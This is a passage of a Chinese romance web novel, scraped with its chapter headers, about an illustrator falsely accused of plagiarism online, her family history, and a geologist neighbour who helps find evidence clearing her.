许清也舒舒服服地吃了两碗米饭,才揉着微鼓的小腹,没形象地瘫倒在沙发上撒娇: “好饱啊。” 茶几上的手机忽然接连震动几下。 尹虹解开围裙,在她身旁坐下。以为是路薄发的微信,催促道: “你回一下人家小薄,这样多不好啊。” “小薄现在,在管路氏哪几个子公司啊?”尹虹拿着遥控器切台,随意问起这件事。 许清也揉肚子的手抖了抖,含糊道: “大概就是那几个吧?我也不太清楚。” 为了避免在尹女士的追问崩溃防线,她捞起手机收拾起碗碟。 厨房水池淅沥沥的水声隔绝的外面的声音,许清也似乎听见尹女士自言自语般道: “也是,小远做了演员,那几个子公司也差不多都是一样的。” 沥干碟子里的水,她瞥见水池边黑漆漆的手机屏幕,还是忍不住点开看了。 组里的小姜、小齐几个年轻人新拉了个项目群闲聊版,正聊的热火朝天。 而路薄的聊天框静悄悄地被顶到了下面。 —— “我去!怎么又没网了。” “不是,我这把就差一点点啊!” 小旅馆的窗户不怎么隔音,路薄靠在床头灯下查着白天的实测剖图,清楚地把窗下人骂骂咧咧的泄气声尽收耳低。 半分钟后,石宇裹着长款黑棉袄,垂丧着脑袋推门进来。 门缝一关一合间带起一阵冰冷潮湿的风,上铺的研究队员不满地翻了个身,啪地一下关掉了床头的灯。 不大的房间瞬间漆黑一片,只剩下路薄手上的液晶屏反着电子光照在他棱角分明的脸上。金丝眼镜闪过一道锋利的光,他还穿着早上开会时候的那件西装,白色方格纹的领带一丝不苟地系在领口处,银白色的领带夹整平衬衫纽扣边的褶皱。 浑然 17. 不要怕 《拿错前夫哥的快递后》全本免费阅读 许清也迷迷糊糊地抱着手机睡着了。 耳机里温柔的播客女声还在念着童话书里的内容。梦里她又在路薄家的书桌上看见了那本纸页都泛黄了的《小王子》。字里行间是不同字迹的批注,从稚嫩到飘逸,几乎跨越路薄的整个少年时期。 等到她想要凑近看的时候,面前的整个画面却像波动的湖水一样模糊开来,渐渐消失在眼前。 醒过来的时候天还没亮,窗外是整片靛蓝的天,朦胧的水汽扒在窗框上慢慢地滴落。 尹女士在她身边睡的很香,难得地轮到了许清也给她盖被子。 许清也拿起手机想看时间,还没解锁,就看到了无数个99+的未读消息。 她皱着眉看消息,一边轻手轻脚地掀开被子下床。 “喂,枣枣?” 池枣枣恰巧打来电话,许清也压低声音站到了阳台边。 “小也,你没事吧?” 许清也还没来得及看消息,只不过就连很久不联系的朋友都发了微信给她,江闻舟的三个未接来电也挂在锁屏页。她就算再迟钝也能猜想到一定是出事了。 “出什么事了?” 她下意识要点开免提去看消息,却被迟枣枣着急地阻止。 “你先别上网,乖,听我的先把数据和WiFi都给关了。” 然而迟枣枣说的时机太晚,许清也一眼就敏锐地察觉到微博标识上数量惊人的红点。 一点进账号,铺天盖地的私信席卷而来。 她随意点开了几个,大致的内容不是无意义的辱骂就是言词激烈的诅咒,总之并不传达丝毫的善意。 从这些私信中没能看懂的始末,在打开热搜的时候就瞬间得到了通顺的解释。 热搜高位明晃晃地挂着: #grayrose抄袭菲菲公主 许清也转身接了一杯热水,窝在沙发上慢慢地看事情的来龙去脉。 一开始只是她昨天下班前发的条漫突然火了,微博grayrose的账号粉丝数几个小时之间就从一百多涨到了大几千。 条漫记录的是她和路薄去青少年公园的那天,不过为了避嫌,她把自己画成了一只鹅黄色的绣眼鸟,而路薄则是一只冷艳的银渐层猫咪。 重点并不是这个,而是这套动物角色的画风。 上次休假时候被大改的那份系列插画的角色概念,就是拟人化的动物故事。许清也实在舍不得,才挑出了那套动物角色中的几个画在了条漫里。 这原本没什么,问题在于“菲菲公主”曾经在微博更早地po出过这套角色的雏形,并委屈地表示这是自己被上司毙掉了设计方案。 条漫的热度节节攀升后,不断有粉丝评论私信问她是不是被抄袭了。 凌晨,“菲菲公主”一条含糊其辞的声明,终于将“grayrose”的账号伴着抄袭的词条顶上了热搜。 私信她的大多也都是“菲菲公主”的粉丝,义愤填膺地要为自己粉的画手太太讨回公道。 许清也点开“菲菲公主”的账号主页,不出所料,正是孙霏霏的个人账号。 坐在漆黑的客厅里,她慢慢翻完了孙霏霏这两年发过的所有微博。 一杯微烫的热水从喉间滑落,许清也却觉得越喝越冷。 “小也,你没事吧?” 迟枣枣一直没有挂断电话,静静地陪着她找证据。 “我没事。” 她并没有大家想象的那么脆弱,相反,许清也觉得很庆幸。 如果不是这次抄袭的事件,她也许永远不会发现孙霏霏一直以来抄袭着她废弃的创意,用着她的初稿,转身改的面目全非,还要给她泼上抄袭和独断的脏水。 “她怎么这么不要脸,”迟枣枣听出许清也的声音还算冷静,也算放下小半块心来,咬牙骂道: “自己做出的事情还敢反咬一口,真是一匹喂不熟的白眼狼!” 许清也安静地听着,忍不住被池枣枣花样百出的骂法逗笑了,疑惑地问她: “枣枣,我记得我没给你看过这次的初稿吧?你怎么知道是她抄袭的我?” “废话!不然还能是你抄袭她吗?” 迟枣枣简直被她没良心的话气个人仰马翻,几乎捶着胸口道: “我不信你信谁啊?” 许清也趴在茶几边上整理着证据,听着她气愤的声音,心间弥漫开一阵暖意,停下编辑声明的动作,认真道: “枣枣,谢谢你。” 谢谢你选择无条件地站在我的身后。 电话另一头的人愣了两拍,被她忽然的认真肉麻到了,扭捏道: “谢什么谢,我一会儿把我整理的文件发你邮箱。” 电话嘟地一声被挂断,许清也无奈地笑着摇了摇头,接着埋头整理时间线。 直到天光微亮的时候,在电脑标红的危险电量中,她终于完成了详细有力的证据整理。 幸好许清也一直有记录的习惯,有了这份文档和创意的时间线,就算最后不能证明孙霏霏抄袭了她的创意,至少能够为自己证明清白。 站起身来对着对面高楼从中若隐若现的日出伸了个懒腰,许清也才抽出空来捧起手机一一回应亲朋好友的关心。 grayrose这个账号虽然是小号,但杂志社的官博@的次数并不少,认识她的人都很容易从账号的点滴中猜到是她。来安慰的、询问情况的,甚至落井下石的都不在少数, 江闻舟凌晨给她打了三个电话,未接之后,索性直接给她发了个红包。 备注是让她去买点“糯叽叽”吃。 大学那两年,她最喜欢吃学校后门那个东北大叔卖的“糯叽叽”,不过江闻舟嫌弃太甜,一次也没有吃过。 他还不知道,前年许清也有一次边哭边加班,一口“糯叽叽”差点让加班补贴变成抚恤金,从此以后就打死也不吃“糯叽叽”了。 许清也没跟他客气,爽快地收了红包道谢,转头给自己点了杯标准糖的奶茶。 她恶趣味地想,大不了回头也请他吃“糯叽叽”。 回完所有的消息,她给尹女士做了顿简单的早餐,就背着打印好的证据出门了。 乘电梯的时候,许清也划动着聊天框检查有没有漏掉的消息,翻到那条被刷到最底端的聊天框,忍不住抿唇点了进去。 一整晚过去,和路薄的聊天框依旧空荡荡地,停留在她那句询问他归期的话上。 表情包里芝士蹲得板正,像个老老实实等待的标兵,让许清也莫名地觉得刺眼。 没有一条新消息。 商业联谊而已,应该的,她想。 应该个屁! 就算是朋友,出了这么大的事,也该礼貌性地关怀两句才正常吧? 电梯到了楼层,叮地一声开了门。 开门的瞬间,许清也已经收拾好情绪,又恢复回了冷静而专业的样子。 包里的电话忽然响起,翻出手机看到来电备注,她犹豫了几秒,还是抓着手机走进了楼梯间。 “喂,爸。” 许民辉轻嗯了一声,他跟女儿说话一向不绕圈子,开门见山地问道: “小乖,平时不联系爸爸就算了,怎么出事了也不跟家里说一声呢?” 许清也听出他声音中的疲惫,忍住反驳他那句“家里”的冲动,解释道: “爸,我不是不说,是没来得及…” “不是不肯告诉爸爸就好。” 话还没说完,就被许民辉给打断。他叹了口气,温柔地安抚道: “小乖你放心,爸爸已经打过招呼了,热搜很快就会撤下来的,不会有事的。” 许民辉的语气就像是哄孩子,许清也本能地皱眉,察觉到了他话里的不对。 “爸,你说实话,你是不是不信我。” 电话另一头的哑然让她的心瞬间坠落谷底。 许清也从来没想过,时隔十年,他还是从来都没信过她。 “这件事不用你插手了,爸,我自己会处理的。” 她冷漠地拒绝了许民辉所谓的打点,也许是时隔多年,许清也竟然天真地忘了许民辉是什么性格。 “小乖,你一向都是听话的好孩子,听话好不好,我们尽快解决这件事。” 隔着遥远的距离,许清也似乎模糊地听到了女人着急的催促声。 原来只是怕粉丝把她许氏大小姐的身份扒出来,影响了公司形象和股价罢了。 那句从小听到大的“小乖”还是一如既往的刺耳,她终于想起尹虹是从什么时候开始改叫她“小也”的。 也许正是要她别再那么乖,“野”一点,不要困在许氏的牢笼里,而是 18. 那她不要了 《拿错前夫哥的快递后》全本免费阅读 “路哥,你干啥去呢?” 石宇压低声音,迷迷糊糊地从上铺探出半个脑袋。 他们住的说是旅馆,但其实平常压根没有什么人住。条件简陋,更像是个没人管的招待所。 冬天夜里的风叫得厉害,山里的风穿过丛林在窗外呼啸着。 路薄低头穿鞋的动作顿了顿,随手把桌上的鸭舌帽扣在上,答非所问地道: “小事。” 以为他是出去找厕所,石宇迷迷糊糊地点了点头,继续一头扎进被子里睡了过去。 陈旧的防盗门吱呀一声关上,把冷风隔绝在外。 路薄单手拎着笔记本电脑,骨节分明的大手抓着登山包袋随意地甩上肩头,朝着山顶的小路离开了旅馆。 手机塞在冲锋衣的口袋里,路薄边走边刷新着聊天框的消息。 绿色的聊天框随着灰色的圆圈转了半天,再次冒出一个红底白字的感叹号来。 刚才带石宇去山顶的时候,时候已经不早了。 擅自离队太久不是合规的事,他简单回了许清也的消息,就跟石宇匆匆下了山。 上山耽误了太多时间,看完剖面图的数据,路薄本来还要整理综合报告。 电子屏幕苍白的光线照得眼中一阵酸涩,他随手摘下金丝眼镜放在床头的柜子上,视线飘到电脑边漆黑的手机屏上,唇角忍不住泛起温柔的弧度。 划开锁屏,却发现刚才的消息并没有发出去。 他低头看了眼手表,指针无声地转动到两点钟的方向,整间宿舍里只剩下几个同事此起彼伏的鼾声。犹豫了几秒,路薄还是合上笔记本出了门。 呼出的白雾在空中转瞬即逝,一直走到临近山顶的地方,手机才重新出现了几格微弱的信号。 【项目不算顺利,团队也不能确定什么时候返程。】 金属质地的电子产品很快在冰冷的寒风中冻成了几近冰块的温度,他重新编辑好回复,按下发送的时候却有点迟疑。 男人压低了帽檐,抿唇飞快地添了一句。 【我会尽快回来的。】 山上日出一向很早,路薄绕着山路找到一块能避风的大石头,在背风的方向坐下。 远处云雾缭绕的林间已经泛起灰白色的晨光,再下山去的意义也不大,他索性留在这里整理完综合报告,还能为下山多预留些时间。 膝上的笔记本电脑还没打开,就连编辑好的回复都还没发出去,手机就先一步传来一阵铃声。 “哥……” 路远吞吞吐吐的语气让路薄本能地皱了眉。 “有事说事。” 凌晨四点多,陆远这个点来电一般不是刚睡醒,而是根本没睡。 “你看到热搜了吗?那个grayrose,好像是许清也。” “如果她需要帮忙的话,哲哥说有认识的靠谱团队,可以推荐给她。” 路远不知道自己这通电话来的有多及时,如果不是坐在山顶,别说热搜,就连这个电话路薄也很难接到。 电话那头是长久的沉默。 路薄打开免提,迅速打开网页搜索,忍着怒意看完了前前后后的词条。 “首先说明,我不是关心她啊,我就是怕她被人泼了脏水,回头连累了哥你……” 路远听他不做声,知道他哥这是真生气了,本来嘴硬的话说着说着声音就弱了下去。 “我知道了,团队的事情先谢谢阿哲,如果有需要我会再联系他的。” 山顶的雾气沾湿了他的眉睫,更显得路薄眉峰的弧度锐利冰冷。他颔首间打开几行复杂的代码,开始快速地抓取相关的消息。 “小远,谢谢你。” 路薄忽然喊了个柔情的昵称,电话那头的路远抖了一身的鸡皮疙瘩,就听见他恢复了原本冰冷而不含情绪的声音,接着道: “还有,下次记得别再没大没小的,你应该叫嫂子。” 远在帝都的豪华套房大床上的路远还来不及多说一个字,就被啪地一声挂断了电话。 —— 会如愿吗? 许清也窝在被窝里转了个身,盯着窗外漆黑的夜空。流星雨已经过去很久,她开始不厌其烦地数着天空一角的星星。 可惜城市里的星星太少,很快就数到了尽头。 她不禁回想起视频电话中那片深邃的夜空,还有那个魔法师一般举着相机倒数的男人。 很多年前,她也在江城看过一场流星雨。 那天晚自习在人潮簇拥中跑到走道上,同座的女孩拿着ccd喊她回头,趁乱在这个不允许带数码产品的时间点拍下了一张珍贵的照片。 有些模糊,却很容易让人想念。 后来那张照片辗转消失在搬家的途中,大学毕业后,她和同桌的聊天框也趋于沉寂。 许多年不联系,只从朋友圈偶尔看见她还在玩摄影,不过现在已经换上了专业的设备,许清也刷到的时候也会点个赞。 三中的很多东西都让她怀念,林荫道上的菩提叶、课间的冰牛奶,甚至窗上糊着的练习报…… 唯独有一段短暂的时间,她一直都想要完完整整地忘掉—— 高考前的半年,三中的行政大楼正在翻修。高三组的老师们干脆在每一层的角落空出一间教室用来办公,除了上课,几乎全天待机在办公室的座位上。 格子间里挤着整层楼的老师,办公室里只有几扇陈旧的吊扇,临近六月,总是散发着一股汗水混杂着油印的气味。 许清也站在角落,身后交叠的手已经把捏在手上的答题卡折出几条深深的印痕 班主任坐在办公桌边,合上作业本,转着手上批改作业的红笔,神情是她从没见过的严肃。 “清也,你认真跟老师说,这次的模拟考你到底有没有抄?” “我没有。” 滚烫的空气让她感觉有些喘不过气来。许清也声音干涩地从喉咙里挤出苍白的三个字,倔强地抿着唇不再说话。 这次模拟考,许清也的总分排到了班上第三。几个学科里就数化学卷子特别难,班上除了几个参加化学竞赛的同学,只有她把最后一个实验题做了出来。 可许清也的化学成绩一向是她的短板,高一第一次月考甚至没有及格。 “可是有同学跟我举报,说他看见你带手机进考场了。” 班主任迟疑地停下了转笔的动作。 许清也的化学成绩最近的确一直在进步,但这次模拟考的成绩显然超过了她最近的平均水平。 班里几个平时化学不错的同学考号在她的前后,在成绩公布之后帮着班主任登记整理,愤愤不平地闲聊间说漏了嘴。 “老师,我平常根本就没有手机。” 证明事情没发生过,往往比证明发生过更困难。许清也想到走廊和教室里的监控,像是抓到了最后一根稻草,急切地道: “走廊和教室里都有监控,如果我真的带了,怎么会一点都拍不到呢?” “老师,我可以去查监 19. 2:37秒的改变 《拿错前夫哥的快递后》全本免费阅读 三中是百年老校,校区虽然不大,但胜在位于老城区,交通一向很方便。 热夏的空气带着几乎能燎起叶间的温度,许清也站在公交车站的凉阴下,时不时朝着公交车来的方向抬头望。 沉重的书包被她抱在身前,白皙的指尖紧紧抓着拉链旁的包带。 市中心的公交站车来车往,很快就来了一班又一班贴着巨幅海报的公交车。许清也抓着包带,像是抓着最后的一点点希冀,上了离家反方向的公交。 今天中午出门前她跟妈妈说了放学要找老师问一会儿数学问题,可能会晚一点回家。不过那时候的尹虹只是坐在沙发上发呆,木然地点了点头。 下车前,她低头从书包的侧带中拿出银白色的时尚戒网机,屏幕一片漆黑,尹虹没给她发消息。 这支戒网机还是高一时候她闹着许民辉买的,尹虹拉着她打岔,觉得都给了她在家使用智能机的权力,没必要连只为了联络的手机都要追求时尚好看。 不过许民辉最后还是买了,在她生日的那天偷偷地塞到她的书柜顶端。 生日礼物嘛,尹虹也不好说什么,只是佯装生气地哼了两声,抱怨他们父女一心,显得她跟恶毒后妈似的。 日子是怎么变成现在这样的呢? 直到踏进新城区高大的写字楼的时候,许清也都没能想明白。 颇具科技感的大楼四处都是冰冷的玻璃,她在电梯上一抬头,看见了自己通红的眼眶和杂乱的马尾。 要拿出冷静成熟的样子。 许清也咬着皮筋重新扎了一个整齐漂亮的马尾辫,伸出冰凉的指尖,徒劳地敷在温热的眼睑上,试图消去一点红肿的痕迹。 律师事务所在大楼的九楼。律所的自动玻璃门一打开,前台的员工标准的微笑就愣了片刻。 “小妹妹,你有预约吗?” 这间律所是江城最好的事务所之一,即便是看到一个穿着校服红着眼圈来的高中生,前台也还是保持专业态度,礼貌地问。 许清也点点头,沉着道: “有的,预约的名字是尹虹。” 前台助理迟疑地翻了电脑上的预约记录,的确是有这位尹女士的预约记录,可身份信息上明明显示着年龄是四十三岁。 “尹虹是我妈妈的名字,不过这的确是我预约的。” 许清也的生日在冬天,还差半年才成年,只好偷偷用尹虹的身份证预约。 前台助理还在犹豫,许清也心一横,从包里掏出一本崭新的存折,指着末页的数字道: “之前我已经预付了两倍的预约费,你们不用担心,尾款我也肯定能付得起,我只是……想找王律师咨询一份合同。” 王律师是江城最有名的离婚律师,前台助理看着许清也红肿的眼眶,有一瞬间犹豫的心软。 “让她进来吧,不会花费多少时间的。” 男人西装革履,拿着几份文件放在前台的桌子上,拍板定论。 许清也抬头看去,她在律所的网页上看过王律师的照片,有了本人点头,事情总算顺利许多。 她一路跟在王律师身后进了咨询室,关上玻璃门转身,就看见他伸手指向茶几对面的沙发。 “请坐。”王律师看起来跟许民辉的年纪差不多,字里行间却并没有把许清也当成小孩哄的意思。 在皮质的沙发上落座,沙发冰凉的触感和室内凉爽的空调风吹散了刚才的踌躇紧张。许清也也想尽力表现得像个成熟的大人,平静了呼吸,伸手拉开书包拉链,想拿出那份不小心折了角的合同。 “合同就不用拿了。” 王律师接过合同,看也不看地放在了茶几上。 “许同学,我诚实跟你说,这份合同不可能又回转的余地的。” 期待以久的回答只有这么短短一句话,简单直接地击碎了许清也最后的幻想。面前这份好不容易偷出来的合同瞬间好像变成了一叠废纸,嘲笑着她牺牲证明自己清白的机会,也傻傻执着的坚持。 不,这叠废纸还像是轻蔑的胜者,嘲笑着她和妈妈的单纯。 “王律师,您还没有看过,要不您再仔细看一看,万一还有漏掉的……” 她的话说到一半,就连自己都觉得苍白。 “这份合同,我早就看过了。” 王律师叹了口气,眸光中闪过一丝不忍。 面前的女孩瘦的几乎像一张苍白的纸片,蓝白色的校服套在身上,袖管却宽大地地垂落在手臂侧。女孩灵动精致的鹿眼还带着红肿,眸光中难以克制的水光更显得她如同一片危险的镜湖。 一触碰,就会支离破碎。 “不止是我,江城几个专攻婚姻法的律师,还有海市的几个律师,我们一年多以前就都看过了。” “签字也是你妈妈自愿的,不可能还有什么回转的余地了。” 出乎意料,一直沉默着的女孩,在听到自愿那句话的时候,忽然像被点燃的湿烟火,喑哑地反驳道: “自愿?” “要不是他说公司的经营出了问题,还让妈妈就算是为了我考虑,也一定得签字。还说就算最后破产,也一定要保住我和妈妈的房子…” 该说的都说完了,王律师没理会女孩失去理智的质问,起身倒掉了桌角凉掉的茶。 “要不是他说什么都不会变,这只不过是一份假合同,我妈根本就不会在上面签字!” 说到后来,许清也的声音已经忍不住带上了哭腔。 可她知道眼泪从来不是她的武器,只会暴露她的脆弱。 她偏头随意擦去眼眶的泪水,冷冰冰地声音下是藏不住的颤声: “王律师,他分明骗了我和妈妈,法律难道要保护说谎的人吗?” 王律师重新在她对面坐下,忍不住轻叹,再怎样假装成熟,面前的女孩仍然是个孩子。 还仍然天真地想要在规则面前讲求道德和人情。 “你有什么证据说明你爸爸他说谎了吗?” 男人轻轻的一句话,就戳破了许清也强装质问之下,绝望的泡泡。 “法律只保护真相,法律相信的,能被证明的真相。” 冰冷真实的话语如同一记鸣钟敲在许清也的眉心。余音回绕至今,不止会让那个强忍眼泪的十七岁少女惊醒,也依然能成为二十六岁的许清也难以逃避的梦魇。 再一次从梦中惊醒的时候,许清也的喉间一片干涩。 睡前还在数着星星强迫自己入眠,却没想到一个梦能让她沉沉睡到中午。 日光透过窗帘照亮她的床,被单中间的手机早就耗尽了电量自动关机。 她闻着诱人的米饭香从床上爬起来,朝餐桌边地尹虹喊:“妈,我手机没电了,你手机在哪呢?借我看个东西。” 许清也还是不死心地想要再翻一次孙菲菲的微博。 “在茶几那边,你自己拿吧。” 尹虹把筷子架在菜碟边上,转头看见她愣在茶几边,忍不住催促道: “边吃边看,赶紧来吃饭了。” 客厅那边没有传来回答。 许清也握着手机,从果盆的缝隙中找出一个熟悉的白色的小瓶子,一言不发。 热搜早就干干净净 20. 不上车吗 《拿错前夫哥的快递后》全本免费阅读 雨后的山路不好走,被雨水浸湿的泥土变得稀软,一脚下就就能陷出深深的鞋印。 “路哥,你昨晚去哪了?今早怎么这么晚才回来。” 科考队的研究员们沿着山路朝探测点出发,石宇走在路薄前面,扶着沿路的树干三步一回头地问。 山雨愈下愈大,单薄的雨衣几乎挡不住沿途滴落的雨点,开始渗透着打湿外套。 雨衣的帽檐遮不住斜飘过来的雨丝,路薄沉了口气抹了一把脸上的雨水,雨滴沿着他轮廓锋利的颌角嘀嗒落在他脚下的泥土中。 男人的长睫深眉沾了水,浓墨般的颜色更显得他皮肤白皙通透,完全没有风吹日晒搞科研的痕迹。 “去山顶了。” 他轻抬颌角,示意石宇跟上前面人的步伐。 不习惯跟别人过多地谈论私事,路薄忽略他眼神中的等待,抬步跟上队伍。 “早上起来没看到你人,大家都很担心你……” 石宇侧着身子,说话间一脚踩了空,姿势奇怪地抓住了最近了树干,才勉强停住脚下打滑的趋势。 路薄眼疾手快地扶住他的肩,叹了口气道: “赶紧跟上。” 雨天上山本就困难,这段坡路陡峭,荒郊野岭地如果再跟丢了队伍,对他来说不会是一件好事。 登山包从肩头滑落了几寸,路薄骨节分明的大手握住包带往肩上甩,手背的青筋若隐若现。 天色阴沉,石宇现在才看清他眼中都是红血丝,脸色也比平常更苍白些。 “路哥,要不你先回去休息会儿吧。” 石宇在他坚定的目光中败下阵来,只好捡了根粗枝当拐杖,跟上了队伍。 “专心走路。” 路薄皱眉提醒着还是时不时回头的男孩,喉间抑制不住的痒意让他忍不住轻咳了几声。 应该只是轻微的感冒,探测工作是团队的工作,他不能因为私事影响大家的进度。 整夜的搜索只能从碎片的信息中摸到蛛丝马迹,路薄很清楚,如果没有一锤定音的证据,最好结果不如是维持原状,让这件事情彻底地从大众的视野中消失。 可许清也不应该为没做过的事情困扰。 山里的暴雨来的快去得也快。 出发时还电闪雷鸣阴沉一片的天,等到科考队真正开始探测工作不久,就已经是一片万里无云的晴空。 刺眼的阳光下,岩石层裂的纹路和细小的颜色差别就显得格外清晰。 对于路薄他们的工作来说,无疑是个好消息。 天公作美,大家都努力加快着探测和记录的进度,各自埋头工作到烈日高悬。 下山吃午饭当然是不可能的,大家的包里都带着简单的面包牛奶,对付过这一顿,就接着投入到探测工作中。 昨晚整理资料的时候刚刚发现了些进展,看到了曙光,几乎人人都没被早晨的大雨影响状态,反而是更加专注地推进着工作。 科考队的同事三五在原地找了地方坐下,有说有笑地吃啃起面包来。 路薄是临时从研讨会那边调来了,加上性格冷淡,说话不绕弯子,倒是显得落了单,一个人坐在背阳的树荫下冷脸盯着电脑屏幕。 他只带了半袋切片面包,随意对付过这一顿午餐。昨晚的大部分资料都下载好了,午餐时间不长,但还是可以见缝插针地排查一部分。 “路哥,你就带了这个啊。” 石宇用手扫开他身边的几颗小石子,盘腿在他身边坐了下来。细小的灰尘扬起,有些沾落到路薄的电脑键盘上。 “嗯。” 余光瞥见他不讲究的动作,路薄皱着眉从喉间应出半个音节,没理会石宇探头探脑的动作。 这小子自从那晚去过山顶之后就格外喜欢跟着他,总是一副自来熟的样子。 路薄带他去山顶不过是顺路,至于开解的那几句话,也只是因为石宇那副迷茫失落的样子让他想到了几年前的自己。 如果当初没有研究院的前辈开解,他应该也不会放弃地质研究,但总归要浪费更长的一段时间用来怀疑脚下的路。 键盘前忽然出现一只午餐肉罐头,路薄顺着捏着罐头的手看去。 石宇不自在地瞄了瞄左右,放轻声音鬼鬼祟祟地道: “路哥你快拿着,我可就背了两罐上山,给他们看见了那就不够分了。” 午餐肉的包装看起来很熟悉。 路薄盯着罐子想了半天,才想起来夏天时候有一次在电梯里碰到过许清也。她穿着柠檬黄的卡通T恤,戴着一顶纯色的渔夫帽,抬头看见他走进电梯的时候好像局促了不少,低头看了好几次脚上的人字拖。 当时她手里一大袋的“超市战利品”中就有好几罐这个牌子的罐头。 见他盯着罐头不说话,石宇蹩脚地撇开话题,指着屏幕文件中的视频道: “路哥,你还关注这本杂志吗?我都不知道他们什么时候在b站开了账号,你这都下载上了。” 路薄原本还没从大小宣传文案中注意到这支新账号的视频,在石宇自来熟的催促下,才点开了那支大清早才上传的新视频。 罐头的味道不错,路薄虽然吃不惯这种预制的食物,却理解了许清也冒着38°的天气出门采买的心理。 石宇看的很认真,好像有个视频下饭,手里的面包都香了不少。视频内容只是简单地介绍杂志编辑部的工作,这一期重点跟拍的员工跟许清也一个部门。 直到进度过半,路薄都没从屏幕中看到许清也的身影。 ——“这里是我们孙编辑平常工作的工位,我们看到的可爱精致的插图,很多都是在这里诞生的。” 屏幕中的年轻女孩挥手跟镜头打着招呼,路薄的眼神定在她桌角的卡通摆件上,若有所思地拿开了摆在面前的罐头。 啪- 他带着薄茧的指尖猛地敲下空格键,将进度条拉回了两秒前。 镜头聚焦在孙霏霏的脸上,身后电脑屏幕上的微博编辑页面虽然不清晰,托了设备像素的福,勉强也能看清最后一张图片上模糊的水印。 路薄低头去看手上的表盘,阳光从细叶的缝隙中刺眼地落在他手背上。 “我很快就回来。” 还没等石宇反应过来,男人丢下一句话,就抓着手机起身朝山顶的方向跑去。 “路哥,午休就剩半个小时了,你小心点啊。” 想起他白天不太好看的脸色,石宇只好冲着他的背影喊。 也许路薄根本没听到,也许他的回答被山风吹散了,总之石宇没看到他转身,男人的背影就像一阵山雨般迅速消失在山路尽头。 看着暂停的视频画面,石宇只好忧心忡忡地叹了口气。 —— 路薄发来的消息算得上是突破性的转折。 许清也来不及吃饭,在茶几上随便抓了颗糖,就背着电脑往杂志社赶。 新媒体部的办公室在美术编辑部的楼上,负责拍摄孙霏霏那期的年轻男孩姓齐,是个刚出校门的大学生。许清也对他的印象不错,热情有礼貌,工作上也有自己的想法。 所以她本以为拜托他调一下素材库的视频看并不是什么难事。 电梯门叮地一声打开。 孙霏霏画着精致的妆容,通红的眼眶和仙气十足的碎花连衣裙让她看起来多了几分破碎小白花的既视感。看到她的瞬间,许清也下意识皱了皱眉。 她怯怯地看了许清也一眼,等许清也出了电梯,才跟她擦肩而过。 一出电梯门,许清也就看见了站在工位上跟孙霏霏摆手的男生。 原本还奇怪就他们俩在场,孙霏霏装给谁看。这下看来,她这叫滴水不漏,兴许还又一次抢占了先机。 看到她背着电脑从电梯口出来,小齐挥手的动作顿了顿,朝她笑的时候笑容有些僵硬。 “许编辑,你怎么来了。” 许清也朝他的工位走过去,小齐看似忙碌地收拾着桌面,客气地问。 前两天来拍摄的时候还一口一个姐姐,今天忽然就客气起来喊许编辑了。 一听到他疏远的称呼,许清也就知道这不是一场好打的仗了。 新媒体部的人都有一副八卦的好嗅觉,看到刚刚摆脱舆论中心的女主角单独来找新上岗的小齐,纷纷借着喝水、复印文件等等动作偷偷往他的工位瞄。 “一会儿中午有空吗,”许清也还以客气职业的微笑,“楼下的音乐餐厅,我请你喝一杯?” 被部门的同事有意无意地悄悄瞄着,小齐也有点不自在,试探地问道: “许编辑找我有什么事吗?” “想找你帮个小忙。” 许清也压低声音,抬手看了看时间,距离午休时间还要十分钟而已,办公室毕竟不是说话的地方。 攻坚战,她需要更长时间来慢慢打。 说完,许清也就转身离开了办公室。 她并不担心小齐不来,毕竟许民辉把许氏的背景在杂志社抖了出来,现在整个编辑部几乎没有人不知道她是许氏的大小姐。总编都要顾忌,更别说小齐一个刚入职的大学生。 这个身份的亏她都咽下了,没道理不吃红利。 ······ 果不其然,计时器转动到第十分钟的时候,齐朔阳喘着气推开了餐吧的门。 “许编辑,不好意思,早上的任务有点重,下班晚了几分钟。” 齐朔阳额前跑出了薄汗,工牌还挂在脖子上忘了拿下来。 他刚一坐下,手机就“呜”地震动一声。 ——你小子,好好表现,回头迎娶白富美走上人生巅峰的时候,苟富贵勿相忘啊。 低头随意一瞥信息的内容,他本能地皱眉按灭了手机屏幕,唇角抿成了一条直线,压抑着不悦。 消息是跟他同期进公司的室友传来的。 新媒体部消息传播的速度可不是盖的,许清也上午来办公室约他吃中饭的消息没一会就跟长了翅膀似地传到了别的部门。 他们会这么误会也不奇怪,毕竟许清也在杂志社虽然一向人缘很好,但除了单位聚餐,还从来没单独约过某个男同事一起吃午餐。 而齐朔阳长相帅气,整齐的黑发带着点自然卷的弧度,笑起来两颗小虎牙显得阳光温柔。在僧多粥少的编辑部来说,算的上优质男了。 如果孙霏霏早上没有来找过他,兴许就连齐朔阳也会忍不住往这个方向猜测一二。 “没关系,我们先点菜吧。” 许清也把菜单递给他,看出来他防备的坐姿,心里盘算着是不是开门见山的说比较不浪费时间。 齐朔阳的眼镜落在了办公室,坐在卡座对面看许清也其实不如早上那么清晰。 她今天没化妆,看起来不如前两天精致职业,却显得更年轻活泼些。那双灵动的鹿眼中眼波温柔,看起来并没有网上说得那么充满恶意与不忿。 “小齐,我就不绕圈子了,”许清也吃了两口就放下了筷子,真诚地道:“杂志社 21. 20140831 《拿错前夫哥的快递后》全本免费阅读 路薄挑眉问询问的语气稀疏平常,就好像不是刚刚从丰城出差回来,只是在一个下班的傍晚偶然遇见。 跟那次拿错快递一样的场景,许清也冒着小雨碰见了出差回来的他。 区别只是这一次是他先出口寒暄。 芝士从副驾驶坐上的宠物包里探出脑袋,歪着脑袋看她。 许清也扶着帆布包带偏开视线,借着雨声,佯装没有听见地闷头往前走。 余光中黑色的越野车不远不近地跟在身边,男人没有摇上车窗,细密的雨点沾湿了窗沿,也打湿了他左肩衬衫的衣料。 他既没有继续询问,也不提速离开,就这么静静地跟在一旁。 一开始选择了佯装没看见,许清也想要开口让他走,又怕被他回怼一句自作多情,只好徒劳地加快脚步。 雨点越来越大,银针般细密的雨点渐渐变成小石子大小砸在身上,还有点钝疼。 其实理智的选择应该是搭个便车才对。 “我的世界将被摧毁……” 手心传来一阵震动,她逃避似的飞快接了电话。 “喂,清也姐。” 听到电话那一头的声音,许清也愣了片刻。 从耳边拿下手机确认了一秒备注,她有些尴尬地应道: “小栗。” “清也姐,今天在音乐餐吧,我都听见了。”女孩开始还有些支支吾吾,说到后来像是下定了决心,声音都大了些,“你不是想要那支vlog的视频素材吗?” 许清也脑中混乱,不明白她这个时候突然打过来说这个做什么。 难道是还在她和孙霏霏的立场中徘徊,打算趁火打劫,用这个消息讹她一笔? 许清也没有说话,那边小栗压低了声音,却加快了语速: 